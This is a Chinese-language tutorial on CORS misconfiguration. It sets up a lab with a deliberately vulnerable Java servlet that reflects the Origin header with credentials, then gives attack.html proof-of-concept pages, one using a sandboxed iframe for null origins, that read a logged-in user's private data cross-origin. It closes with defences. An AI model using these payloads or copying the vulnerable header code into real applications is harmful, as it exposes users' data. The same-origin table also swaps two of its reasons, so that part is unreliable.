前置知识
跨域
域(Domain)是由三部分组成的标识:协议、域名和端口。
例如这两个ip就属于不同的域:
-
http://example.com
-
https://example.com
因为它们的协议不同(一个是HTTP,另一个是HTTPS),并且它们的端口也有差异(HTTP默认端口为80,HTTPS默认端口为443)。因此,这两个域之间的请求被认为是跨域请求。
而没有限制的跨域请求,就会有很多的弊端,例如导致CSRF等。为了解决这个问题于是引入了同源策略这个概念。
同源策略
同源策略(Same-Origin Policy)是浏览器的一项安全措施,它限制了网页中的脚本只能与加载该脚本的页面具有相同的协议、域名和端口,才能进行无障碍的跨域资源访问。同源策略的目的是保护用户的信息和隐私,防止恶意网站利用浏览器漏洞获取或修改其他网站的数据。
例如下表中与`http://example.com/api/v1/index.html 属于相同来源的是:
URL | 结果 | 原因 |
---|---|---|
http://example.com/api/v1/login.html | 是 | 只有路径不相同 |
http://user:pass@example.com/api/v1/other.html | 是 | 只有路径不相同 |
https://example.com/api/v1/index.html | 否 | 不同协议(https) |
http://example.com:81/api/v1/index.html | 否 | 不同域名 |
http://test.example.com/api/v1/index.html | 否 | 不同端口 |
有一些标签是不受同源策略限制的,这些标签可以自由地加载和显示来自其他域的内容,而无需进行跨域请求。
- script:
<script src="http://example.com/script.js"></script>
- img:
<img src="http://example.com/image.jpg" alt="Image">
- iframe:
<iframe src="http://example.com"></iframe>
- link:
<link rel="stylesheet" href="http://example.com/styles.css">
有了同源策略可以较有效的防止CSRF和XSS等漏洞,但同时也带来了一个弊端:同协议、同域名、同端口使得跨域资源共享变得更为复杂困难。这时就需要引入CORS(跨域资源共享)来处理这个问题。
CORS
定义
CORS(跨域资源共享)是一种用于在Web浏览器中处理跨域请求的机制。当在浏览器上执行JavaScript代码时,由于同源策略的限制,脚本只能与同源(相同协议、域名和端口)的服务器进行通信。但在某些情况下,我们可能需要从一个域向另一个域请求数据或资源,这就涉及到跨域请求。
工作原理
CORS允许服务器定义哪些外部域有权限访问其资源。当浏览器发起跨域请求时,它会首先发送一个预检请求(OPTIONS请求),询问服务器是否允许实际请求。服务器通过返回特定的HTTP响应头来控制跨域访问,其中最重要的是"Access-Control-Allow-Origin"头,指定允许访问的域。如果服务器响应中包含了请求的源域,那么浏览器会允许实际的跨域请求并接收响应。
除"Access-Control-Allow-Origin"外,还有其他的CORS头可以用来进一步定义跨域请求的行为,例如:.
-
Access-Control-Allow-Credentials:是否允许浏览器读取response的内容
-
Access-Control-Allow-Methods:指定允许的HTTP方法(GET、POST等)。
-
Access-Control-Allow-Headers:指定允许的请求头。
-
Access-Control-Max-Age:指定预检请求的有效期。
CORS漏洞
漏洞原理
CORS跨域漏洞的本质是服务器配置不当,即Access-Control-Allow-Origin设置为*或是直接取自请求头Origin字段,Access-Control-Allow-Credentials设置为true等。
测试环境
firefox 59.0:Directory Listing: /pub/firefox/releases/59.0/ (mozilla.org)
tomcat 8.5
靶机:192.168.235.166
攻击机:192.168.43.136
漏洞测试
先设置一个登录框,和一个信息查询页面,模拟用户登录和获取个人信息
LoginServlet
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet(name = "login", value = "/login")
public class LoginServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
if (req.getParameter("user") != null){
if (req.getParameter("user").equals("admin")){
Cookie cookie = new Cookie("user", "admin");
resp.addCookie(cookie);
resp.setContentType("text/html;charset=UTF-8");
resp.getWriter().print("Sentiment登陆成功! ");
}
}else {
resp.getWriter().print("登录失败");
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}
PersonInfoServlet
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet(name = "personinfo", value = "/info")
public class PersonInfoServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
Cookie[] cookies = req.getCookies();
resp.setContentType("text/html;charset=UTF-8");
String origin = req.getHeader("origin");
if (origin != null){
resp.setHeader("Access-Control-Allow-Origin",origin);
resp.setHeader("Access-Control-Allow-Credentials","true");
}
if (cookies != null){
for (Cookie cookie : cookies) {
String name = cookie.getName();
String value = cookie.getValue();
if (name.equals("user") && value.equals("admin")){
resp.getWriter().print("你好Sentiment,你的密码是123456");
}
}
}else {
resp.getWriter().print("未登录");
}
}
}
第一种情况
可能导致漏洞的环境有多种方式,先看下这种:
Access-Control-Allow-Origin: all-host
Access-Control-Allow-Credentials: true
//对应配置
resp.setHeader("Access-Control-Allow-Origin",origin);
resp.setHeader("Access-Control-Allow-Credentials","true");
这两个返回头表示应用程序允许来自任何Origin的任何脚本向应用程序发出CORS请求。
先模拟用户登录
此时用户访问/info,便能看到自己的信息
这时我们构造恶意脚本,发送给该用户
attack.html
<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
alert(this.responseText);
}
};
xhttp.open("GET", "http://192.168.235.166:8081/info", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</center>
</body>
</html>
当用户点击后,便可跨域请求用户端的info信息,并且带上了用户的cookie
第二种情况
服务器返回如下消息头,这种情况下,利用起来稍有困难,这里的null必须小写。
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
//对应配置
resp.setHeader("Access-Control-Allow-Origin","null");
resp.setHeader("Access-Control-Allow-Credentials","true");
这时再请求attack.html
,发现被拦截
这是由于发送的请求origin并不为null
此时修改attack.html
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/html">
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms allow-modals" src="data:text/html;charset=UTF-8,<script>
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
alert(this.responseText);
}
};
xhttp.open('GET', 'http://192.168.235.166:8081/info', true);
xhttp.withCredentials = true;
xhttp.send();
</script>"></iframe>
</center>
</body>
</html>
成功获取敏感信息
第三种情况
这种情况表示允许所有网站的跨域请求,但它并不能获取到用户cookie,因为这种配置本身就有问题,是不被安全策略允许的。
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
SameSite配置问题
在测试环境中,我使用的是 Firefox 59.0 。这并不是随意选择的,而是基于 SameSite 配置的需要。从 Firefox 60 开始,Cookie 引入了一个新属性 SameSite,用于防止 CSRF 攻击等。同样edge和chorm分别在80、51版本后也引入了改配置
属性
SameSite有三个属性:
- **Strict:**最为严格,完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。
- **Lax:**当开发开发人员没有设置samesite的值得时候,Lax是默认值,规则稍稍放宽,大多数情况也是不发送第三方 Cookie
Lax的情况见下表:
请求类型 | 示例 | 正常情况 | Lax |
---|---|---|---|
链接 | <a href="..."></a> | 发送 Cookie | 发送 Cookie |
预加载 | <link rel="prerender" href="..."/> | 发送 Cookie | 发送 Cookie |
GET 表单 | <form method="GET" action="..."> | 发送 Cookie | 发送 Cookie |
POST 表单 | <form method="POST" action="..."> | 发送 Cookie | 不发送 |
iframe | <iframe src="..."></iframe> | 发送 Cookie | 不发送 |
AJAX | $.get("...") | 发送 Cookie | 不发送 |
Image | <img src="..."> | 发送 Cookie | 不发送 |
PS:我们发送的AJAX请求,是不会发送Cookie的,因此需要修改这个默认设置
- **None:**所有请求中都允许发送cookie,但是如果samesite配置成了none,还必须将cookie加上
Secure
属性才能够生效
解决方法
通过上边可以发现SameSite设置为None时,仍然是可以发送Cookie的,所以当发现samesite=None
仍可尝试CORS攻击,但需要注意几点:
- 协议必须是https(这是因为在
SameSite=None
模式下,浏览器要求使用安全连接(HTTPS)才能传输具有此标志的Cookie) - cookie必须设置Secure
CORS防御
- Access-Control-Allow-Origin 设为受信任的站点
- 减少Access-Control-Allow-Methods所允许的请求方式
- 只允许安全的协议如https
参考链接
全方位了解CORS跨域资源共享漏洞 - 先知社区 (aliyun.com)
浅析CORS攻击及其挖洞思路 - 先知社区 (aliyun.com)
https://github.com/chenjj/CORScanner
第40篇:CORS跨域资源共享漏洞的复现、分析、利用及修复过程_cors漏洞修复_希潭实验室ABC123的博客-CSDN博客